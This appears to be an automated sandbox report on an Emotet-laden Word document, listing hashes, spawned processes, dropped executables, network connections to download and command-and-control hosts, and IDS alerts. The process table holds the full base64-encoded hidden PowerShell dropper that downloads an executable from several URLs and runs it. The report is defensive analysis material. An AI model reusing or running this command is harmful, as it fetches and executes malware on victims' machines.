| File name: | instruction January 16 2020.doc |
| Full analysis: | https://app.any.run/tasks/f6722f27-3cbd-49f8-b748-f4c00f5b454f |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | January 17, 2020, 16:12:51 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Exercitationem., Author: Nathan Aubry, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Jan 15 19:43:00 2020, Last Saved Time/Date: Wed Jan 15 19:43:00 2020, Number of Pages: 1, Number of Words: 3, Number of Characters: 22, Security: 0 |
| MD5: | 2416FCA53C2F9EB9C8DA632CA0E2AE08 |
| SHA1: | 5A0FC9B8414C929A56437B181A159551EDB5BEA6 |
| SHA256: | 37E98C8FF3288199A2A4AE056B48DDE6AD9ED9CBAF76E837DED084AD42271771 |
| SSDEEP: | 6144:Q0Rum7mdLRp1bbSBIR/EHGtCMXgTo8qoFt/etg+p4z+cGAihy:Q0E3dxtR/iU9mvUPxbdhy |
MALICIOUS
Downloads executable files from the Internet
- Powershell.exe (PID: 3972)
Application was dropped or rewritten from another process
- 121.exe (PID: 1552)
- serialfunc.exe (PID: 1428)
- 121.exe (PID: 3820)
- serialfunc.exe (PID: 2340)
Emotet process was detected
- 121.exe (PID: 3820)
EMOTET was detected
- serialfunc.exe (PID: 2340)
Connects to CnC server
- serialfunc.exe (PID: 2340)
Changes the autorun value in the registry
- serialfunc.exe (PID: 2340)
SUSPICIOUS
Executed via WMI
- Powershell.exe (PID: 3972)
Executable content was dropped or overwritten
- Powershell.exe (PID: 3972)
- 121.exe (PID: 3820)
PowerShell script executed
- Powershell.exe (PID: 3972)
Creates files in the user directory
- Powershell.exe (PID: 3972)
Application launched itself
- 121.exe (PID: 1552)
- serialfunc.exe (PID: 1428)
Starts itself from another location
- 121.exe (PID: 3820)
Connects to server without host name
- serialfunc.exe (PID: 2340)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 776)
Creates files in the user directory
- WINWORD.EXE (PID: 776)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (80) |
|---|
EXIF
FlashPix
| Title: | Exercitationem. |
|---|---|
| Subject: | - |
| Author: | Nathan Aubry |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2020:01:15 19:43:00 |
| ModifyDate: | 2020:01:15 19:43:00 |
| Pages: | 1 |
| Words: | 3 |
| Characters: | 22 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 24 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
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| CompObjUserTypeLen: | 25 |
| CompObjUserType: | Microsoft Forms 2.0 Form |
Total processes
42
Monitored processes
6
Malicious processes
5
Suspicious processes
0
Behavior graph
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Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 776 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\instruction January 16 2020.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
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| 1428 | "C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe" | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | — | 121.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: PromptEdit_Demo MFC Application Exit code: 0 Version: 1, 0, 0, 1 Modules
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| 1552 | "C:\Users\admin\121.exe" | C:\Users\admin\121.exe | — | Powershell.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: PromptEdit_Demo MFC Application Exit code: 0 Version: 1, 0, 0, 1 Modules
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| 2340 | --d6864438 | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | serialfunc.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: PromptEdit_Demo MFC Application Exit code: 0 Version: 1, 0, 0, 1 Modules
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| 3820 | --efd9ffae | C:\Users\admin\121.exe | 121.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: PromptEdit_Demo MFC Application Exit code: 0 Version: 1, 0, 0, 1 Modules
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| 3972 | Powershell -w hidden -en JABTAHYAYgBlAHYAZQB1AHkAeAA9ACcATwBrAHkAeAB1AHoAegBhACcAOwAkAEIAaQBlAHYAbwBpAGwAdQBwACAAPQAgACcAMQAyADEAJwA7ACQARgB6AHUAcQBoAHYAZQBmAHQAcgB1AGwAbQA9ACcAUgB1AGQAbQB0AGgAawB6AHUAJwA7ACQASABtAHQAZgB0AGcAdwBwAGgAZwBzAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABCAGkAZQB2AG8AaQBsAHUAcAArACcALgBlAHgAZQAnADsAJABSAG4AbAB2AHAAcAByAHUAcQBiAGsAZQB4AD0AJwBTAGQAawB0AHkAbAB5AHAAaQBlAHcAcQAnADsAJABKAGkAawB4AGMAcwB1AGgAYwA9ACYAKAAnAG4AJwArACcAZQB3AC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAAbgBFAHQALgBXAGUAYgBjAEwASQBlAG4AdAA7ACQASABlAGwAbwBsAGsAYQBlAGUAcQBhAD0AJwBoAHQAdABwADoALwAvAGEAYgBlAGEAZgByAGkAcQB1AGUALgBvAHIAZwAvAC0ALwB3AHYANAB5AC0ANgB3ADUALQAzADYAOQA3AC8AKgBoAHQAdABwAHMAOgAvAC8AdwBsAHMAawBkAGoAZgBzAGEALgAwADAAMAB3AGUAYgBoAG8AcwB0AGEAcABwAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBWAGIAdQBGAGIAYgBHAC8AKgBoAHQAdABwADoALwAvAGIAbABvAGcALgBlAGwAaQBtAGkAbgBhAHYAYQByAGkAYwBpAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBmAFEAYgBtAHoAdwAvACoAaAB0AHQAcAA6AC8ALwA4ADcAegBuAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBiAGUAMQA5AGUANgAtAGwAZQA2AGYAagByAC0AMgA1ADYALwAqAGgAdAB0AHAAOgAvAC8AYgBiAHYALgBiAG8AcgBnAG0AZQBpAGUAcgAuAG0AZQBkAGkAYQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHIAdQBuAHkAcAAtAHoAcwB2ADgAYwB2AC0AMwA1ADAAOAAwADAANgAvACcALgAiAFMAYABQAEwASQBUACIAKAAnACoAJwApADsAJABVAGEAegB2AGsAZQBxAHQAeQBjAGUAPQAnAEkAZABoAHEAZwBvAHoAbwBoAG8AYgB2ACcAOwBmAG8AcgBlAGEAYwBoACgAJABIAGoAagBjAG0AYgBjAHUAZABrAG0AIABpAG4AIAAkAEgAZQBsAG8AbABrAGEAZQBlAHEAYQApAHsAdAByAHkAewAkAEoAaQBrAHgAYwBzAHUAaABjAC4AIgBEAGAATwB3AE4AbABgAE8AYQBkAEYAYABJAGwARQAiACgAJABIAGoAagBjAG0AYgBjAHUAZABrAG0ALAAgACQASABtAHQAZgB0AGcAdwBwAGgAZwBzACkAOwAkAFkAZABxAHMAegB0AGUAdgBiAGwAagBtAD0AJwBZAGUAaQBvAGUAdABxAG0AJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABIAG0AdABmAHQAZwB3AHAAaABnAHMAKQAuACIATABlAG4ARwBgAFQAaAAiACAALQBnAGUAIAAyADAANgAwADcAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBgAFQAYQBSAHQAIgAoACQASABtAHQAZgB0AGcAdwBwAGgAZwBzACkAOwAkAEMAeQBiAG4AbAB5AGEAeQBsAHMAcAA9ACcARgBhAG4AbgBjAHcAZwB0AHUAdgAnADsAYgByAGUAYQBrADsAJABGAG0AcQByAGMAbABjAGIAPQAnAFUAYwBoAHAAbQBpAG8AaQBrAGkAdgB6AGoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARABqAGUAaAB4AGgAYwBsAGsAPQAnAEsAaABqAGcAbgBnAGgAaQBnAGwAJwA= | C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe | wmiprvse.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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Total events
2 249
Read events
1 430
Write events
692
Delete events
127
Modification events
| (PID) Process: | (776) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | 7<` |
Value: 373C600008030000010000000000000000000000 | |||
| (PID) Process: | (776) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (776) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: Off | |||
| (PID) Process: | (776) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: Off | |||
| (PID) Process: | (776) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: Off | |||
| (PID) Process: | (776) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: Off | |||
| (PID) Process: | (776) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: Off | |||
| (PID) Process: | (776) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: Off | |||
| (PID) Process: | (776) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: Off | |||
| (PID) Process: | (776) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1345388606 | |||
Executable files
2
Suspicious files
2
Text files
0
Unknown types
3
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 776 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRA497.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3972 | Powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0G7WVRG8UDTRQJLPVOX7.temp | — | |
MD5:— | SHA256:— | |||
| 776 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 3972 | Powershell.exe | C:\Users\admin\121.exe | executable | |
MD5:— | SHA256:— | |||
| 776 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:— | SHA256:— | |||
| 3820 | 121.exe | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | executable | |
MD5:— | SHA256:— | |||
| 3972 | Powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 3972 | Powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF39b570.TMP | binary | |
MD5:— | SHA256:— | |||
| 776 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$struction January 16 2020.doc | pgc | |
MD5:— | SHA256:— | |||
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HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
1
Threats
6
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2340 | serialfunc.exe | POST | 200 | 177.103.240.93:80 | http://177.103.240.93/e5Uq4nohaG8y | BR | binary | 148 b | malicious |
3972 | Powershell.exe | GET | 200 | 185.98.131.144:80 | http://abeafrique.org/-/wv4y-6w5-3697/ | FR | executable | 128 Kb | suspicious |
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Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3972 | Powershell.exe | 185.98.131.144:80 | abeafrique.org | ADISTA SAS | FR | malicious |
2340 | serialfunc.exe | 177.103.240.93:80 | — | TELEFÔNICA BRASIL S.A | BR | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
abeafrique.org |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3972 | Powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3972 | Powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
3972 | Powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
2340 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M5 |
2340 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M6 |
2340 | serialfunc.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |